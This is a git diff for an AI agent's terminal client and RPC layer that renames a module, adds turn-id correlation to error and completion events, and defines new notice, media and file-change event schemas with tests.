next(e for e in events if isinstance(e, TurnStarted)) + failed = next(e for e in events if isinstance(e, TurnFailed)) + assert failed.turn_id and failed.turn_id == started.turn_id + + +async def test_the_runner_sees_the_resolved_turn_id(): + # The lane puts the id back on the request, so the runner and the lifecycle + # events agree on one value -- without that a consumer would be back to + # reading a per-lane slot, which is the defect this axis exists to close. + seen: list[str | None] = [] + + class RecordingRunner: + async def run(self, req, emit, drain) -> TurnOutcome: + seen.append(req.turn_id) + return TurnOutcome(usage=Usage(0, 0, 0), explicit_reply=False) + + events, sink = _collector() + lane = Lane(runner=RecordingRunner(), pools=OriginPools(user=1, system=1), sink=sink, conversation_id="tg:7") + await lane.submit(_req()) + ended = next(e for e in events if isinstance(e, TurnEnded)) + assert seen == [ended.turn_id] + assert ended.turn_id + + +async def test_a_runner_driven_directly_still_gets_an_identified_turn(): + """``submit`` resolves the id on the way in, so this branch only runs for a + caller that reaches ``_run_turn`` itself -- a test harness, or any future + path that bypasses the queue. It exists because a turn that ends unnamed + leaves its consumer holding slots with nothing to match, and an empty string + would pass a None-check while being exactly that. + """ + runner = SuccessRunner(TurnOutcome(usage=Usage(0, 0, 0), explicit_reply=False)) + events, sink = _collector() + lane = Lane(runner=runner, pools=OriginPools(user=1, system=1), sink=sink, conversation_id="tg:7") + src = Source(channel="t", chat_id="c", sender_id="u", chat_type=ChatType.DM) + + await lane._run_turn(TurnRequest(origin=Origin.USER, source=src, text="hi", turn_id="")) + + started = next(e for e in events if isinstance(e, TurnStarted)) + ended = next(e for e in events if isinstance(e, TurnEnded)) + assert started.turn_id, "an empty id must be replaced, not stamped through" + assert ended.turn_id == started.turn_id diff --git a/tests/test_subscription_emitter.py b/tests/test_subscription_emitter.py index 8e2779f9..56c26806 100644 --- a/tests/test_subscription_emitter.py +++ b/tests/test_subscription_emitter.py @@ -7,7 +7,7 @@ import pytest -from raven.tui_rpc.subscriptions import ( +from raven.rpc.subscriptions import ( COALESCE_WINDOW_S, QUEUE_CAPACITY, SubscriptionEmitter, diff --git a/tests/test_tool_registry_execute.py b/tests/test_tool_registry_execute.py index 5bbce310..aa693e8d 100644 --- a/tests/test_tool_registry_execute.py +++ b/tests/test_tool_registry_execute.py @@ -467,3 +467,70 @@ def test_a_tool_that_speaks_to_one_case_speaks_to_both() -> None: mismatched = [type(t).__name__ for t in tools if bool(t.truncation_hint) != bool(t.incomplete_hint)] assert not mismatched, "these answer one case and not the other: " + ", ".join(mismatched) + + +class _Publishes(Tool): + """A tool that publishes the two client-only fields alongside its text.""" + + def __init__(self, model_text: str) -> None: + self._model_text = model_text + + @property + def name(self) -> str: + return "publishes" + + @property + def description(self) -> str: + return "returns metadata and a diff" + + @property + def parameters(self) -> dict: + return {"type": "object", "properties": {}, "required": []} + + async def execute(self, **kwargs) -> ToolResult: + return ToolResult( + model_text=self._model_text, + metadata={"files": ["a.txt"]}, + diff="--- a/a.txt\n+++ b/a.txt\n@@ -1 +1 @@\n-old\n+new\n", + ) + + +async def test_metadata_and_diff_survive_the_boundary() -> None: + """They ride on the ToolOutput because only the agent loop wants them: every + other consumer of this boundary needs a plain str.""" + registry = ToolRegistry() + registry.register(_Publishes("edited a.txt")) + + out = await registry.execute("publishes", {}) + + assert isinstance(out, ToolOutput) + assert str(out) == "edited a.txt" + assert out.metadata == {"files": ["a.txt"]} + assert out.diff is not None and "+new" in out.diff + + +async def test_a_failed_call_publishes_neither() -> None: + """An error replaces the result, exactly as it does for ``blocks``: a diff of + a write that did not happen, or a manifest of files that were not delivered, + describes something that never reached disk.""" + registry = ToolRegistry() + registry.register(_Publishes("Error: permission denied")) + + out = await registry.execute("publishes", {}) + + assert isinstance(out, ToolOutput) + assert str(out).startswith("Error: permission denied") + assert out.metadata is None + assert out.diff is None + + +async def test_a_bare_string_result_has_both_fields_as_none() -> None: + """The loop reads them off every result, so the wrapper has to define them + even for the tools -- most of them -- that return only text.""" + registry = ToolRegistry() + registry.register(_Split("model text", None)) + + out = await registry.execute("split", {}) + + assert out.metadata is None + assert out.diff is None diff --git a/tests/test_tui_commands_error_codes.py b/tests/test_tui_commands_error_codes.py index e33756aa..bae6029a 100644 --- a/tests/test_tui_commands_error_codes.py +++ b/tests/test_tui_commands_error_codes.py @@ -12,7 +12,7 @@ import pytest from raven.cli.tui_commands import _build_tui_agent_loop -from raven.tui_rpc.errors import InternalError, RpcError +from raven.rpc.errors import InternalError, RpcError # --------------------------------------------------------------------------- # _build_tui_agent_loop — narrow exception → InternalError(-32603) diff --git a/tests/test_tui_cron_delivered_event.py b/tests/test_tui_cron_delivered_event.py index 2e1a5800..f3911a51 100644 --- a/tests/test_tui_cron_delivered_event.py +++ b/tests/test_tui_cron_delivered_event.py @@ -20,7 +20,7 @@ def test_cron_delivered_event_pydantic_validates() -> None: """``CronDeliveredEvent`` SHALL be a member of the ``TurnEvent`` discriminated union with payload {job_id, name, text, fired_at}. """ - from raven.tui_rpc.models import CronDeliveredEvent + from raven.rpc.models import CronDeliveredEvent event = CronDeliveredEvent( type="cron.delivered", @@ -44,7 +44,7 @@ def test_cron_delivered_event_in_turn_event_union() -> None: """ from pydantic import TypeAdapter - from raven.tui_rpc.models import CronDeliveredEvent, TurnEvent + from raven.rpc.models import CronDeliveredEvent, TurnEvent adapter = TypeAdapter(TurnEvent) parsed = adapter.validate_python( @@ -168,7 +168,7 @@ async def base_on_cron(job): def test_cron_missed_event_pydantic_validates() -> None: """``CronMissedEvent`` SHALL be a member of the ``TurnEvent`` discriminated union with payload {count, items: [{name, scheduled_at, message}]}.""" - from raven.tui_rpc.models import CronMissedEvent + from raven.rpc.models import CronMissedEvent event = CronMissedEvent( type="cron.missed", @@ -190,7 +190,7 @@ def test_cron_missed_event_pydantic_validates() -> None: def test_cron_missed_event_in_turn_event_union() -> None: from pydantic import TypeAdapter - from raven.tui_rpc.models import CronMissedEvent, TurnEvent + from raven.rpc.models import CronMissedEvent, TurnEvent adapter = TypeAdapter(TurnEvent) parsed = adapter.validate_python( diff --git a/tests/test_turn_wire_shape_conformance.py b/tests/test_turn_wire_shape_conformance.py index 47eff934..3c41f177 100644 --- a/tests/test_turn_wire_shape_conformance.py +++ b/tests/test_turn_wire_shape_conformance.py @@ -17,11 +17,11 @@ import pytest from pydantic import TypeAdapter +from raven.rpc.methods.turn import turn_cancel, turn_send, turn_subscribe +from raven.rpc.models import TurnEvent +from raven.rpc.spine import build_tui +from raven.rpc.subscriptions import SubscriptionEmitter from raven.spine import ChatType, Origin, Source, TurnRequest -from raven.tui_rpc.methods.turn import turn_cancel, turn_send, turn_subscribe -from raven.tui_rpc.models import TurnEvent -from raven.tui_rpc.spine import build_tui -from raven.tui_rpc.subscriptions import SubscriptionEmitter _turn_event_adapter: TypeAdapter[TurnEvent] = TypeAdapter(TurnEvent) @@ -41,7 +41,7 @@ def submit(self, req): @pytest.fixture(autouse=True) def _clear_active_turns(): - from raven.tui_rpc.methods import turn as _turn_mod + from raven.rpc.methods import turn as _turn_mod _turn_mod._active_turns.clear() yield @@ -125,7 +125,7 @@ async def test_overflow_error_event_payload_shape() -> None: sub_id = await emitter.register("tui:default") # Force overflow by pushing beyond queue capacity without yielding. - from raven.tui_rpc.subscriptions import QUEUE_CAPACITY + from raven.rpc.subscriptions import QUEUE_CAPACITY for i in range(QUEUE_CAPACITY + 50): await emitter.emit( @@ -171,4 +171,34 @@ async def test_cancel_error_event_payload_shape() -> None: payload = cancels[0]["payload"] assert set(payload) <= {"code", "message", "reason"} assert "detail" not in payload + assert "turn_id" not in payload, "nothing was bound to this lane, so there is no turn to name" + _assert_event_validates(cancels[0]) + + +async def test_cancel_error_names_the_turn_it_cancelled() -> None: + """The other half of the shape, and the reason the field exists: a consumer + that answers a request off this event cannot tell a foreign turn's + cancellation from its own without it. Absent above, present here, and the + difference is only whether the lane had a turn bound.""" + send_frame = AsyncMock(return_value=None) + emitter = SubscriptionEmitter(send_frame=send_frame) + turn_ids: dict[str, str] = {} + + await turn_subscribe({"session_key": "tui:default"}, emitter=emitter) + await turn_send( + {"session_key": "tui:default", "content": "hi"}, + emitter=emitter, + scheduler=FakeScheduler(), + turn_ids=turn_ids, + ) + await turn_cancel({"session_key": "tui:default"}, emitter=emitter, turn_ids=turn_ids) + await asyncio.sleep(0.1) + + cancels = [ + e + for e in _collect_events(send_frame) + if e.get("type") == "error" and e.get("payload", {}).get("reason") == "cancelled_by_client" + ] + assert len(cancels) >= 1 + assert cancels[0]["payload"].get("turn_id"), "the lane had a turn bound, so the error has to name it" _assert_event_validates(cancels[0]) diff --git a/tests/tui/autotest/README.md b/tests/tui/autotest/README.md index 54562c33..1dbb1652 100644 --- a/tests/tui/autotest/README.md +++ b/tests/tui/autotest/README.md @@ -26,7 +26,7 @@ It is a smoke tier, not a safety net: restore) is out of reach by construction. Behaviour coverage belongs one layer down: `ui-tui/src/__tests__/` for TUI logic -(mock the gateway, render with `ink-testing-library`), `tests/test_tui_rpc_*.py` +(mock the gateway, render with `ink-testing-library`), `tests/test_rpc_*.py` for the RPC and dispatch layers. ## Prerequisites diff --git a/tests/tui/autotest/tests/test_dogfood_whitelist.py b/tests/tui/autotest/tests/test_dogfood_whitelist.py index 2d3ec589..c5dc6013 100644 --- a/tests/tui/autotest/tests/test_dogfood_whitelist.py +++ b/tests/tui/autotest/tests/test_dogfood_whitelist.py @@ -3,7 +3,7 @@ A slash the TUI does not own locally goes out as `slash.exec`, runs Click in-process on the Python side, and comes back through the unix socket to be rendered by Ink. That round trip is what only a real terminal can prove; the -dispatch layer itself has 31 dedicated tests in `tests/test_tui_rpc_cli_dispatch.py` +dispatch layer itself has 31 dedicated tests in `tests/test_rpc_cli_dispatch.py` and needs no TUI. The TUI leg is identical for every dispatched command (`createSlashHandler.ts` diff --git a/ui-tui/rpc-schema/openrpc.json b/ui-tui/rpc-schema/openrpc.json index 16e47401..c3fa918e 100644 --- a/ui-tui/rpc-schema/openrpc.json +++ b/ui-tui/rpc-schema/openrpc.json @@ -2,7 +2,7 @@ "openrpc": "1.2.6", "info": { "title": "Raven TUI RPC", - "description": "JSON-RPC 2.0 contract between the Raven Python parent process (RpcServer) and the Node TUI child process (RpcClient). Single source of truth for both sides. Pydantic v2 models in raven/tui_rpc/models.py and codegen-derived TypeScript types in ui-tui/src/rpc/generated.ts must stay in sync with this file. Drift is caught in CI by tests/test_rpc_schema_match.py and `npm run lint:rpc`.", + "description": "JSON-RPC 2.0 contract between the Raven Python parent process (RpcServer) and the Node TUI child process (RpcClient). Single source of truth for both sides. Pydantic v2 models in raven/rpc/models.py and codegen-derived TypeScript types in ui-tui/src/rpc/generated.ts must stay in sync with this file. Drift is caught in CI by tests/test_rpc_schema_match.py and `npm run lint:rpc`.", "version": "0.1.0", "license": { "name": "MIT", @@ -1771,7 +1771,11 @@ "type": "object", "additionalProperties": { "$ref": "#/components/schemas/JsonValue" } }, - "display": { "type": ["string", "null"] } + "display": { "type": ["string", "null"] }, + "blocking": { + "type": "boolean", + "description": "The call is a blocking interaction with no automatic deadline. A client that clocks the event stream for liveness must suspend that clock while it is in flight." + } } } } @@ -1806,7 +1810,17 @@ "properties": { "tool_call_id": { "type": "string" }, "result_preview": { "type": "string" }, - "truncated": { "type": "boolean" } + "truncated": { "type": "boolean" }, + "metadata": { + "type": "object", + "additionalProperties": { "$ref": "#/components/schemas/JsonValue" }, + "description": "Opt-in structured payload a tool chose to publish. A client that does not understand a key ignores it." + }, + "diff": { + "type": "string", + "description": "Unified diff of what the call changed on disk, when the tool could produce one." + }, + "file_change": { "$ref": "#/components/schemas/FileChange" } } } } @@ -1845,7 +1859,11 @@ "type": "string", "enum": ["cancelled_by_client", "internal"] }, - "detail": { "type": "string" } + "detail": { "type": "string" }, + "turn_id": { + "type": "string", + "description": "Which turn failed, when the failure belongs to one. The lane is shared, so a turn the runtime submitted can fail while a client's turn is queued behind it: a client with no id to compare clears its own turn's state on somebody else's failure, and a consumer that answers a request off this event answers the wrong request. Absent when there is no turn to name -- a connection-level failure, or a cancellation the client asked for on the turn it is watching -- which a consumer reads as not-somebody-else's rather than as its own." + } } } } @@ -1898,11 +1916,85 @@ } } }, + "FileChange": { + "description": "One file a tool call wrote, as contents rather than as a rendering of them. Beside ToolCompleteEvent.diff rather than instead of it: a client that draws its own diff needs the text, and a unified diff cannot be turned back into the file.", + "type": "object", + "additionalProperties": false, + "required": ["path", "after"], + "properties": { + "path": { "type": "string", "description": "Absolute path of the file that was written." }, + "after": { "type": "string", "description": "The file's full contents after the write." }, + "before": { + "type": "string", + "description": "The contents the write replaced. Absent when the file did not exist, so a client renders a creation differently from a rewrite; an empty string means the file existed and was empty." + } + } + }, + "MediaItem": { + "description": "One file the agent produced as part of its reply, by local path.", + "type": "object", + "additionalProperties": false, + "required": ["path", "mime", "kind"], + "properties": { + "path": { "type": "string", "description": "Absolute path of the file on the machine the agent runs on." }, + "mime": { + "type": "string", + "description": "MIME type as declared by the emit site. Today every producer declares application/octet-stream, so a client that needs the real type should sniff the extension rather than trust this." + }, + "kind": { "type": "string", "description": "Coarse media class; \"file\" is the only value emitted today." } + } + }, + "MediaEvent": { + "type": "object", + "additionalProperties": false, + "required": ["type", "payload"], + "properties": { + "type": { "type": "string", "const": "media" }, + "payload": { + "type": "object", + "additionalProperties": false, + "required": ["items"], + "properties": { + "items": { + "type": "array", + "items": { "$ref": "#/components/schemas/MediaItem" }, + "description": "The files, in the order the turn produced them. Never empty: an event with nothing to deliver is not emitted." + } + } + } + } + }, + "NoticeEvent": { + "description": "Prose the runtime wrote, not the model. It must not arrive as token.delta: that buffer is the model's voice, so the text would render as the answer.", + "type": "object", + "additionalProperties": false, + "required": ["type", "payload"], + "properties": { + "type": { "type": "string", "const": "notice" }, + "payload": { + "type": "object", + "additionalProperties": false, + "required": ["kind"], + "properties": { + "kind": { + "type": "string", + "description": "Which runtime decision this reports; action_blocked today." + }, + "detail": { + "type": "string", + "description": "The blocking tool's own first line, when it gave one." + } + } + } + } + }, "TurnEvent": { "description": "Discriminated union of turn streaming events. The 'type' field is the discriminator.", "oneOf": [ { "$ref": "#/components/schemas/MessageStartEvent" }, { "$ref": "#/components/schemas/EpisodeStartEvent" }, + { "$ref": "#/components/schemas/NoticeEvent" }, + { "$ref": "#/components/schemas/MediaEvent" }, { "$ref": "#/components/schemas/TokenDeltaEvent" }, { "$ref": "#/components/schemas/ThinkingDeltaEvent" }, { "$ref": "#/components/schemas/ToolStartEvent" }, @@ -1918,6 +2010,8 @@ "mapping": { "message.start": "#/components/schemas/MessageStartEvent", "episode.start": "#/components/schemas/EpisodeStartEvent", + "notice": "#/components/schemas/NoticeEvent", + "media": "#/components/schemas/MediaEvent", "token.delta": "#/components/schemas/TokenDeltaEvent", "thinking.delta": "#/components/schemas/ThinkingDeltaEvent", "tool.start": "#/components/schemas/ToolStartEvent", diff --git a/ui-tui/src/__tests__/chatStream.test.ts b/ui-tui/src/__tests__/chatStream.test.ts index 0fd5feca..f857c9cf 100644 --- a/ui-tui/src/__tests__/chatStream.test.ts +++ b/ui-tui/src/__tests__/chatStream.test.ts @@ -479,3 +479,139 @@ describe('createChatStream — cron.missed startup notice', () => { expect(sysCalls[0]).not.toMatch(/scheduled \d{2}-\d{2} /) }) }) + +describe('createChatStream — one turn cannot terminate another', () => { + beforeEach(() => { + resetTurnState() + resetUiState() + turnController.clearStatusTimer() + }) + + afterEach(() => { + vi.useRealTimers() + }) + + // A lane is serial but its slots are per-lane, so a turn the runtime submitted + // itself can end while this client's turn is still queued behind it. The wire + // order observed on tui:default is message.start(client), then + // message.complete for the runtime turn, then the client's own. + it('ignores a completion for a turn other than the one it is watching', async () => { + const fake = makeFakeRpc() + const appended: Msg[] = [] + const stream = createChatStream({ + rpcClient: fake, + sessionKey: 'tui:default', + appendMessage: m => appended.push(m) + }) + await stream.attach() + patchUiState({ busy: true }) + await stream.send('hi') + + fake.__pushEvent({ type: 'message.start', payload: { turn_id: 'turn-1' } }) + fake.__pushEvent({ type: 'token.delta', payload: { text: 'answer' } }) + fake.__pushEvent({ + type: 'message.complete', + payload: { + turn_id: 'runtime-turn', + usage: { prompt_tokens: 1, completion_tokens: 2, total_tokens: 3 } + } + }) + + // The foreign completion neither commits the buffer nor releases the guard. + expect(appended).toEqual([]) + expect(getUiState().status).not.toBe('ready') + // Usage is session-cumulative and belongs to neither turn, so it lands. + expect(getUiState().usage.total_tokens).toBe(3) + + fake.__pushEvent({ + type: 'message.complete', + payload: { + turn_id: 'turn-1', + usage: { prompt_tokens: 1, completion_tokens: 2, total_tokens: 3 } + } + }) + + // The owner's completion still commits everything streamed, including the + // text that arrived while the runtime turn was ending. + expect(appended.map(m => m.text).join('')).toContain('answer') + expect(getUiState().status).toBe('ready') + }) + + it('ignores a failure belonging to another turn, and keeps the input live', async () => { + // The failure half of the same defect: a runtime turn failing on a busy lane + // used to clear the queued client's guard and idle an input the user was + // still waiting on. + const fake = makeFakeRpc() + const sysCalls: string[] = [] + const stream = createChatStream({ + rpcClient: fake, + sessionKey: 'tui:default', + sys: m => sysCalls.push(m) + }) + await stream.attach() + patchUiState({ busy: true }) + await stream.send('hi') + + fake.__pushEvent({ type: 'message.start', payload: { turn_id: 'turn-1' } }) + fake.__pushEvent({ + type: 'error', + payload: { code: -32099, message: 'turn_failed', reason: 'internal', turn_id: 'runtime-turn' } + }) + + // Correlated, not hidden: the watched turn keeps its guard and its input, + // and the failure is still said. A runtime turn can stream deltas into this + // buffer and then throw, and the watched turn's own completion commits those + // bytes -- so dropping this event would leave that the only unexplained + // thing on screen. + expect(getUiState().busy).toBe(true) + expect(sysCalls.some(m => /another turn/.test(m) && /turn_failed/.test(m))).toBe(true) + }) + + it('still surfaces a failure that names no turn', async () => { + // A connection-level failure, and the cancellation this client asked for, + // carry no turn_id -- they are this client's business by construction. + const fake = makeFakeRpc() + const sysCalls: string[] = [] + const stream = createChatStream({ + rpcClient: fake, + sessionKey: 'tui:default', + sys: m => sysCalls.push(m) + }) + await stream.attach() + patchUiState({ busy: true }) + await stream.send('hi') + + fake.__pushEvent({ type: 'message.start', payload: { turn_id: 'turn-1' } }) + fake.__pushEvent({ + type: 'error', + payload: { code: -32099, message: 'turn_failed', reason: 'internal' } + }) + + expect(sysCalls.some(m => /turn_failed/.test(m))).toBe(true) + expect(getUiState().busy).toBe(false) + }) + + it('still finalizes a completion that arrives with no turn being watched', async () => { + // Nothing set state.turnId: a resumed or replayed stream must not lose its + // streamed content to a guard that has no turn to compare against. + const fake = makeFakeRpc() + const appended: Msg[] = [] + const stream = createChatStream({ + rpcClient: fake, + sessionKey: 'tui:default', + appendMessage: m => appended.push(m) + }) + await stream.attach() + + fake.__pushEvent({ type: 'token.delta', payload: { text: 'orphan' } }) + fake.__pushEvent({ + type: 'message.complete', + payload: { + turn_id: 'turn-9', + usage: { prompt_tokens: 0, completion_tokens: 0, total_tokens: 0 } + } + }) + + expect(appended.map(m => m.text).join('')).toContain('orphan') + }) +}) diff --git a/ui-tui/src/app/chatStream.ts b/ui-tui/src/app/chatStream.ts index c440ff19..5498c07f 100644 --- a/ui-tui/src/app/chatStream.ts +++ b/ui-tui/src/app/chatStream.ts @@ -77,6 +77,15 @@ export interface ChatStreamOptions { watchdogMs?: number } +/** + * What each runtime notice says to a reader. Keyed by the event's `kind` so a + * new kind shows up as its own name until a sentence is written for it. + */ +const NOTICE_TEXT: Record = { + action_blocked: + 'A safety rule stopped this operation, so the turn ended here. Say the word and I will carry on with the parts that do not need it.' +} + /** Default server-ack watchdog window — see {@link ChatStreamOptions.watchdogMs}. */ export const DEFAULT_WATCHDOG_MS = 10_000 @@ -175,6 +184,35 @@ const dispatch = ( } return } + case 'notice': { + // Runtime prose, not the model's, so it must never be merged into the + // streamed answer: that buffer is the model's voice, and text pushed into + // it renders as the answer -- glued to whatever was narrated just before + // and dressed in the answer's own affordances. + // + // Rendering it is not optional. Before this event existed the runtime + // pushed the same sentence down the token stream, so a blocked action was + // at least visible; a client that received the notice and drew nothing + // would leave the turn ending in silence. + // + // The sentence is written here rather than looked up: this repo has no + // i18n layer, so it is English. An unknown kind falls back to its own + // name, which is worse to read than a sentence and better than nothing. + if (sys) { + const said = NOTICE_TEXT[event.payload.kind] ?? event.payload.kind + const detail = event.payload.detail + sys(detail ? `${said}\n${detail}` : said) + } + return + } + case 'media': + // Deliberate no-op, and the reason is not that the event is unimportant: + // the terminal has no viewer to open a file in, and the reply text that + // follows names what the turn produced. The event exists for a client that + // can act on a path -- an editor over the protocol turns each item into a + // link the reader can click. Rendering the paths here as well is a product + // call for this surface, not a consequence of the wire event. + return default: { // Exhaustiveness — if a new TurnEvent variant lands the type-checker // will complain here, forcing this file to be updated. @@ -212,6 +250,21 @@ const onMessageComplete = ( ev: MessageCompleteEvent, appendMessage?: (msg: Msg) => void ): void => { + // A lane is serial but its slots are per-lane, so a turn the runtime + // submitted itself can end while this client's turn is still queued behind + // it on the same lane -- the observed order is message.start(client), + // message.complete(runtime), message.complete(client). Ungated, the runtime + // turn's completion clears the queued client's guard and finalizes a buffer + // that is not its own, so the client's real ending has nothing left to + // report against. Usage is session-cumulative and belongs to neither turn, + // so it is still applied; the runtime turn's own text stays in the buffer + // and is committed by the completion of the turn that owns it. + if (state.turnId && ev.payload.turn_id && ev.payload.turn_id !== state.turnId) { + if (ev.payload.usage) { + patchUiState(s => ({ ...s, usage: { ...s.usage, ...ev.payload.usage } })) + } + return + } state.turnId = null // The typed message.complete carries `{turn_id, usage}` per CAP-CHAT-1 // wire shape (B1 fix); the assistant content is reconstructed from the @@ -237,6 +290,25 @@ const onError = ( appendMessage?: (msg: Msg) => void ): void => { const { reason, message, code, detail } = ev.payload + // Same correlation the completion path needs, for the same reason: a turn the + // runtime submitted can fail while this client's turn is queued behind it on + // the same lane, and an ungated failure clears the queued turn's guard and + // idles an input the user is still waiting on. A failure with no turn_id -- + // a connection-level one, or the cancellation this client asked for -- is + // this client's business by construction, so it falls through. + // + // Said, not swallowed. Correlating it is about not terminating the watched + // turn, and dropping it instead would make the terminal event silence: a + // runtime turn can stream deltas into this buffer and *then* throw, and the + // watched turn's own completion commits those bytes -- so this note is the + // only sign that part of what is on screen came from a turn that died. + if (state.turnId && ev.payload.turn_id && ev.payload.turn_id !== state.turnId) { + if (sys) { + const extra = detail ? `: ${detail.split('\n')[0].slice(0, 200)}` : '' + sys(`error in another turn on this session: ${message} (code=${code})${extra}`) + } + return + } state.turnId = null if (reason === 'cancelled_by_client') { restoreInputPrompt(appendMessage, sys) diff --git a/ui-tui/src/rpc/generated.ts b/ui-tui/src/rpc/generated.ts index fc3ebe14..2585bd20 100644 --- a/ui-tui/src/rpc/generated.ts +++ b/ui-tui/src/rpc/generated.ts @@ -26,6 +26,8 @@ export type JsonValue = string | number | boolean | null | unknown[] | {}; export type TurnEvent = | MessageStartEvent | EpisodeStartEvent + | NoticeEvent + | MediaEvent | TokenDeltaEvent | ThinkingDeltaEvent | ToolStartEvent @@ -359,6 +361,10 @@ export interface ToolStartEvent { [k: string]: JsonValue; }; display?: string | null; + /** + * The call is a blocking interaction with no automatic deadline. A client that clocks the event stream for liveness must suspend that clock while it is in flight. + */ + blocking?: boolean; }; } /** @@ -382,8 +388,39 @@ export interface ToolCompleteEvent { tool_call_id: string; result_preview: string; truncated: boolean; + /** + * Opt-in structured payload a tool chose to publish. A client that does not understand a key ignores it. + */ + metadata?: { + [k: string]: JsonValue; + }; + /** + * Unified diff of what the call changed on disk, when the tool could produce one. + */ + diff?: string; + file_change?: FileChange; }; } +/** + * One file a tool call wrote, as contents rather than as a rendering of them. Beside ToolCompleteEvent.diff rather than instead of it: a client that draws its own diff needs the text, and a unified diff cannot be turned back into the file. + * + * This interface was referenced by `RavenRpcRoot`'s JSON-Schema + * via the `definition` "FileChange". + */ +export interface FileChange { + /** + * Absolute path of the file that was written. + */ + path: string; + /** + * The file's full contents after the write. + */ + after: string; + /** + * The contents the write replaced. Absent when the file did not exist, so a client renders a creation differently from a rewrite; an empty string means the file existed and was empty. + */ + before?: string; +} /** * This interface was referenced by `RavenRpcRoot`'s JSON-Schema * via the `definition` "MessageCompleteEvent". @@ -406,6 +443,10 @@ export interface ErrorEvent { message: string; reason?: 'cancelled_by_client' | 'internal'; detail?: string; + /** + * Which turn failed, when the failure belongs to one. The lane is shared, so a turn the runtime submitted can fail while a client's turn is queued behind it: a client with no id to compare clears its own turn's state on somebody else's failure, and a consumer that answers a request off this event answers the wrong request. Absent when there is no turn to name -- a connection-level failure, or a cancellation the client asked for on the turn it is watching -- which a consumer reads as not-somebody-else's rather than as its own. + */ + turn_id?: string; }; } /** @@ -436,6 +477,58 @@ export interface CronMissedEvent { }[]; }; } +/** + * One file the agent produced as part of its reply, by local path. + * + * This interface was referenced by `RavenRpcRoot`'s JSON-Schema + * via the `definition` "MediaItem". + */ +export interface MediaItem { + /** + * Absolute path of the file on the machine the agent runs on. + */ + path: string; + /** + * MIME type as declared by the emit site. Today every producer declares application/octet-stream, so a client that needs the real type should sniff the extension rather than trust this. + */ + mime: string; + /** + * Coarse media class; "file" is the only value emitted today. + */ + kind: string; +} +/** + * This interface was referenced by `RavenRpcRoot`'s JSON-Schema + * via the `definition` "MediaEvent". + */ +export interface MediaEvent { + type: 'media'; + payload: { + /** + * The files, in the order the turn produced them. Never empty: an event with nothing to deliver is not emitted. + */ + items: MediaItem[]; + }; +} +/** + * Prose the runtime wrote, not the model. It must not arrive as token.delta: that buffer is the model's voice, so the text would render as the answer. + * + * This interface was referenced by `RavenRpcRoot`'s JSON-Schema + * via the `definition` "NoticeEvent". + */ +export interface NoticeEvent { + type: 'notice'; + payload: { + /** + * Which runtime decision this reports; action_blocked today. + */ + kind: string; + /** + * The blocking tool's own first line, when it gave one. + */ + detail?: string; + }; +} /** * This interface was referenced by `RavenRpcRoot`'s JSON-Schema * via the `definition` "SessionListParams".